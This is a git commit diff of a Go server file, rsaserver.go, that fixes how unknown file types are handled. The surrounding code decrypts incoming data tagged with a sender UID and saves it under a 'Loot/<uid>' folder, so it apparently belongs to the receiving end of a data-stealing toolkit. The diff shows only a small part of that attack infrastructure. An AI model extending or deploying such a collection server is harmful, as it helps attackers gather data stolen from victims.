Fix incorrectly handeling of unknown filetypes
This commit is contained in:
		
							
								
								
									
										18
									
								
								rsaserver.go
									
									
									
									
									
								
							
							
						
						
									
										18
									
								
								rsaserver.go
									
									
									
									
									
								
							@@ -180,20 +180,25 @@ func decryptKeyIV(ed string, privateKey *rsa.PrivateKey) ([]byte, error) {
 | 
			
		||||
    return decodedKey, err
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
func handleDecrypted(decryptedDataB []byte, uidB []byte){
 | 
			
		||||
func handleDecrypted(decryptedDataB []byte, uidB []byte) {
 | 
			
		||||
    data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB)))
 | 
			
		||||
    
 | 
			
		||||
 | 
			
		||||
    fileType, err := magic.Lookup(data)
 | 
			
		||||
    if err != nil {
 | 
			
		||||
        if err == magic.ErrUnknown {
 | 
			
		||||
            fmt.Println("File type is unknown")
 | 
			
		||||
			fileType.Extension = "unk"
 | 
			
		||||
        	}else{
 | 
			
		||||
        } else {
 | 
			
		||||
            panic(err)
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
    
 | 
			
		||||
    var fileTDef string
 | 
			
		||||
    if fileType != nil {
 | 
			
		||||
        fileTDef = fileType.Extension
 | 
			
		||||
    } else {
 | 
			
		||||
        fileTDef = "unknown"
 | 
			
		||||
    }
 | 
			
		||||
    
 | 
			
		||||
    uid := strings.TrimSpace(string(uidB))
 | 
			
		||||
    folderPath := fmt.Sprintf("Loot/%s", uid)
 | 
			
		||||
    err = createFolderIfNotExists(folderPath)
 | 
			
		||||
@@ -202,7 +207,7 @@ func handleDecrypted(decryptedDataB []byte, uidB []byte){
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    timestamp := time.Now().Unix()
 | 
			
		||||
	filename := fmt.Sprintf("%d.%s", timestamp, fileType.Extension)
 | 
			
		||||
    filename := fmt.Sprintf("%d.%s", timestamp, fileTDef)
 | 
			
		||||
    
 | 
			
		||||
    filePath := fmt.Sprintf("%s/%s", folderPath, filename)
 | 
			
		||||
    fmt.Println(filePath)
 | 
			
		||||
@@ -211,9 +216,10 @@ func handleDecrypted(decryptedDataB []byte, uidB []byte){
 | 
			
		||||
        panic(err)
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
	fmt.Printf("Got a %s from %s, saving to %s\n",fileType.Extension,uid,filePath)
 | 
			
		||||
    fmt.Printf("Got a %s from %s, saving to %s\n", fileTDef, uid, filePath)
 | 
			
		||||
}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
func createFolderIfNotExists(folderPath string) error {
 | 
			
		||||
	_, err := os.Stat(folderPath)
 | 
			
		||||
	if os.IsNotExist(err) {
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user